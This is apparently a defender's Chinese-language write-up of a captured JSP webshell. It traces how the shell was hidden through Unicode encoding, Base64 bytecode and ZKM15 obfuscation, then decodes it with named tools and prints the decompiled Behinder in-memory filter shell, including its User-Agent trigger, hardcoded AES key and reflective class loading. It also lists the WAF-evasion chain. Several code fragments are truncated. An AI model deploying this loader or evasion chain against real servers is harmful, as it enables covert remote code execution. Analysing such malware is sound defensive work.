


```
java.lang.reflect.MethoddefineClzMethod =clzoader.loadClass("java.lang.ClassLoader").getDecaredMetl
defineClzMethod.setAccessible(true);
Class clz =(Class) defineClzMethod.invoke(clzoader, clzName, bytecode, 0,bytecode.length);
cz.newInstance();
} catch (Exceptione) {}%>
```

通过github搜索"base64Clz",看到这个项目<https://github.com/TimelineSec/ATTCK-Tools-library/tree/master/JspEncoder>

使用方法

```
Jsp文件Unicode解码: java -jar JspEncoder.jar UniDe srcFile desFile
Jsp文件Unicode编码: java -jar JspEncoder.jar UniEn srcFile desFile
Jsp文件Html解码: java -jar JspEncoder.jar HtmlDe srcFile desFile
Jsp文件Html编码: java -jar JspEncoder.jar HtmlEn srcFile desFile
Jsp文件CDATA解码: java -jar JspEncoder.jar CdataDe srcFile desFile
Jsp文件CDATA编码: java -jar JspEncoder.jar CdataEn srcFile desFile
Base64文件输出为class文件: java -jar JspEncoder.jar ClassOut srcFile desFile
class文件输出为Base64文件: java -jar JspEncoder.jar ClassIn srcFile desFile
```

编码源代码如下,发现和天眼捕获到的特征类似,故用此解码尝试

```
import java.io.*;

public class encoderJsp {
    public encoderJsp(String srcFile, String desFile) throws IOException {
        FileInputStream fis = new FileInputStream(srcFile); //文件输入流
        InputStreamReader isr = new InputStreamReader(fis); //输入流读取器
        BufferedReader br = new BufferedReader(isr); //字符流读取器
        String line = "";
        String text = "";
        while ((line = br.readLine())!= null){
            text += line;
        }
        String subString = text.substring(2,text.length()-2);
        char[] charArray = subString.toCharArray();
        String result = "<%";
        for (int i=0;i<charArray.length;i++){
            if (i==0 || i%8 == 0){
```

```
        String firstHex = Integer.toHexString(charArray[i]);
        if (firstHex.length()==2){
            firstHex = "00" + firstHex;
            result = result + "\\uu" + firstHex;
        }
    }else if ((i%8 != 0) && (i%9 == 0)){
        String nineHex = Integer.toHexString(charArray[i]);
        if (nineHex.length() == 2) {
            nineHex = "00" + nineHex;
            result = result + "\\uuu" + nineHex;
        }
    }else if ((i != 0) && (i%8 != 0) && (i%9 != 0) && (i%55 == 0)){
        result = result + charArray[i];
    } else{
        String elseHex = Integer.toHexString(charArray[i]);
        if (elseHex.length() == 2) {
            elseHex = "00" + elseHex;
            result = result + "\\u" + elseHex;
        }
    }
}
result = result + "%>";
FileWriter writer = new FileWriter(desFile);
writer.write("");
writer.write(result);
writer.flush();
writer.close();
System.out.println("[!]文件编码完成, 已输出至" + desFile);
}
}
```

decoderJsp 解码最终代码

```
<%try {
    ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
    String clzName = "Scrobicular";
    String clzBytecodeBase64Str = "yv66vgAAADIBHwcAcAcAdAgAMAcAjwgAFwcAcggBDggAVgEACVpLTTE1LjAuMAEADl";
    try {
        Class base64Clz = clzLoader.loadClass("java.util.Base64");
        Class decoderClz = clzLoader.loadClass("java.util.Base64$Decoder");
        Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
        bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, clzBytecode);
        Class datatypeConverterClz = clzLoader.loadClass("javax.xml.bind.DatatypeConverter");
        java.lang.reflect.Method defineClzMethod = clzLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, int.class);
        defineClzMethod.setAccessible(true);
    }
}
```

```
Class clz = (Class) defineClzMethod.invoke(clzLoader, clzName, bytecode, 0, bytecode.length);  
} catch (Exception e) {}%>
```

- 1、通过反射的方式执行clzBytecodeBase64Str,故我们需要解码clzBytecodeBase64Str相关内容,将clzBytecodeBase64Str内容提取出来调用classOut相关函数即可,也可用python脚本执行(需要在linux下执行,否则会被截断)
- 2、将获得的class用hex编辑器查看发现ZKM15字段搜索没搜索出什么(贾老师提示是混淆),再次用Google Search "java ZKM15" 发现相关文章
- 3、此时我们需要反混淆的工具,经过尝试(<https://github.com/java-deobfuscator/deobfuscator>) 工具可以用
- 4、deobfuscator工具使用注意事项(1、需要将得到的class打包成zip,2、选中ZKM15的相关特征即可)
- 5、用Luyten(<https://github.com/deathmarine/Luyten>) 工具反编译class文件 (经过解混淆发现和没有解混淆差别不大,clzBytecodeBase64Str开头相同结尾不同,不注意以为是解混淆失败。其实已经成功了)

经过两次反混淆后得到的class如下

```
package org.apache.catalina.filters;  
  
import java.lang.reflect.*;  
import javax.servlet.http.*;  
import javax.crypto.*;  
import javax.crypto.spec.*;  
import java.security.*;  
import javax.servlet.*;  
import java.io.*;  
  
public class MelebioseFilter implements Filter  
{  
    public static int a;  
    public static int b;  
  
    private Class b(final Object[] array) {  
        final byte[] array2 = (byte[])array[0];  
        try {  
            final ClassLoader classLoader = this.getClass().getClassLoader();  
            final Method declaredMethod = classLoader.loadClass("java.lang.ClassLoader").getDeclared  
declaredMethod.setAccessible(true);  
            return (Class)declaredMethod.invoke(classLoader, null, array2, 0, array2.length);  
        }  
        catch (Throwable t) {  
            throw new RuntimeException(t);  
        }  
    }  
}
```

```
private byte[] a(final Object[] array) {
    final String s = (String)array[0];
    try {
        final ClassLoader classLoader = this.getClass().getClassLoader();
        byte[] array2;
        try {
            final Class<?> loadClass = classLoader.loadClass("java.util.Base64");
            array2 = (byte[])classLoader.loadClass("java.util.Base64$Decoder").getMethod("decode")
        }
        catch (ClassNotFoundException ex) {
            final Class<?> loadClass2 = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
            array2 = (byte[])loadClass2.getMethod("parseBase64Binary", String.class).invoke(loadClass2);
        }
        return array2;
    }
    catch (Throwable t) {
        throw new RuntimeException(t);
    }
}
```

```
public void init(final FilterConfig filterConfig) throws ServletException {
}
```

```
public void doFilter(final ServletRequest servletRequest, final ServletResponse servletResponse,
                    final int b = MelebioseFilter.b;
                    final HttpServletRequest httpServletRequest = (HttpServletRequest)servletRequest;
                    final int n = b;
                    final HttpServletResponse httpServletResponse = (HttpServletResponse)servletResponse;
                    if (httpServletRequest.getHeader("User-Agent") != null && httpServletRequest.getHeader("User-Agent").contains("BehinderShell")) {
                        final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                        Label_0312: {
                            try {
                                if (httpServletRequest.getSession().getAttribute("u") == null) {
                                    httpServletRequest.getSession().setAttribute("u", (Object)"7b35dabef09e402b");
                                }
                                final Cipher instance = Cipher.getInstance("AES");
                                instance.init(2, new SecretKeySpec(((String)httpServletRequest.getSession().getAttribute("u")).getBytes(), "AES"));
                                final ServletInputStream inputStream = httpServletRequest.getInputStream();
                                final byte[] array = new byte[1024];
                                int read;
                                while ((read = inputStream.read(array)) != -1) {
                                    byteArrayOutputStream.write(array, 0, read);
                                    if (n != 0) {
                                        break Label_0312;
                                    }
                                }
                                if (n != 0) {
                                    break;
                                }
                            }
                        }
                    }
}
```

```
        }
    }
    this.b(new Object[] { instance.doFinal(this.a(new Object[] { new String(byteArra
}
}
catch (Throwable t) {
    filterChain.doFilter(servletRequest, servletResponse);
}
finally {
    byteArrayOutputStream.close();
}
}
}
if (n == 0) {
    return;
}
}
filterChain.doFilter(servletRequest, servletResponse);
}

public void destroy() {
}
}
```

可以发现是冰蝎内存马,整个内存马过Waf的处理流程如下

冰蝎内存马-->ZKM15混淆-->class文件输出为Base64文件-->ZKM15混淆-->class文件输出为Base64文件-->特殊Unicode编码

不知道混淆的情况下使用以下方法 <https://mp.weixin.qq.com/s/yvEHxhsedSwB12PTcQ5aRg>